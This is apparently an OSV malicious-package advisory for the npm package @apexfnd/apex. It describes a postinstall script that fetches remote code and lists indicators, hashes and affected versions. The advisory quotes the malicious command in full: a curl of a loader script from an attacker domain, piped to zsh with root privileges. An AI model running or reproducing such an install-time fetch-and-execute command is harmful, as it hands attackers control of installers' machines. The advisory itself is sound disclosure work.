MAL-2026-11121

See a problem?
Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/@apexfnd/apex/MAL-2026-11121.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-11121
Published
2026-07-28T13:35:21Z
Modified
2026-07-28T14:37:16.107231115Z
Summary
Malicious code in @apexfnd/apex (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (8716e3bd410648407039879f991abe8adbde650ab008bac4e41165e7b52c79b1)

The npm package @apexfnd/apex ships a postinstall script (install.cjs) that performs two install-time remote-code-execution actions. On macOS it writes an AppleScript to /tmp and invokes osascript to run curl -fsSL https://update.apex-arena-router.com/loader.sh | zsh with administrator privileges, prompting the user for their password and executing the returned shell script as root. On all platforms it also unconditionally downloads a platform-specific binary from https://github.com/Apex-Foundation/copilot/releases/download/v1.0.0/apex-<target>, writes it to the package's bin path, and chmods it 0755, without any hash or signature verification. The package's declared publisher metadata (homepage omp.sh, repository can1357/oh-my-pi) does not match either destination (update.apex-arena-router.com, github.com/Apex-Foundation/copilot); the fetched content is attacker-controlled bytes executed on the installer's machine at install time, with root privileges on macOS.

Database specific
{
    "malicious-packages-origins": [
        {
            "import_time": "2026-07-28T14:19:58.693637794Z",
            "sha256": "8716e3bd410648407039879f991abe8adbde650ab008bac4e41165e7b52c79b1",
            "modified_time": "2026-07-28T13:35:21Z",
            "id": "IN-MAL-2026-010912",
            "versions": [
                "1.0.0"
            ],
            "source": "amazon-inspector"
        },
        {
            "id": "IN-MAL-2026-010914",
            "sha256": "a36d1bb6b7f3f846668a106c514c55789cd9b94500ad04d579dc5fa2621c438c",
            "modified_time": "2026-07-28T13:35:39Z",
            "import_time": "2026-07-28T14:19:58.858747377Z",
            "versions": [
                "1.0.1"
            ],
            "source": "amazon-inspector"
        }
    ]
}
References
Credits

Affected packages

npm / @apexfnd/apex

Package

Name
@apexfnd/apex
View open source insights on deps.dev
Purl
pkg:npm/%40apexfnd/apex

Affected ranges

Affected versions

1.*
1.0.0
1.0.1

Database specific

source
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/@apexfnd/apex/MAL-2026-11121.json"
cwes
[
    {
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code",
        "cweId": "CWE-506"
    },
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    }
]
indicators
{
    "evidence_files": [
        {
            "sha256": "52a9d24f9824a952f9d5a9cb9d9797b7cf66defeb388eff679af820ab2ccff8f",
            "tlsh": "ff7145ca07f4a5680b9295e6819b2067f53390037505d888ba6cc748ff879b4cb379fe",
            "path": "install.cjs"
        }
    ],
    "package_integrity": [
        {
            "filename": "apex-1.0.0.tgz",
            "hashes": {
                "sha1": "dfba75e157ccf4fa2dda13d19082f0814deeb830",
                "sha512_sri": "sha512-2t5H0OpVwQezPYb/CrOrZ6uJqhqTdpPUI0Wswc2GY7AEVKUHAADSEYia+KWDFHTczyLZ0KkLr7YU7m3TvNnTQg=="
            }
        }
    ]
}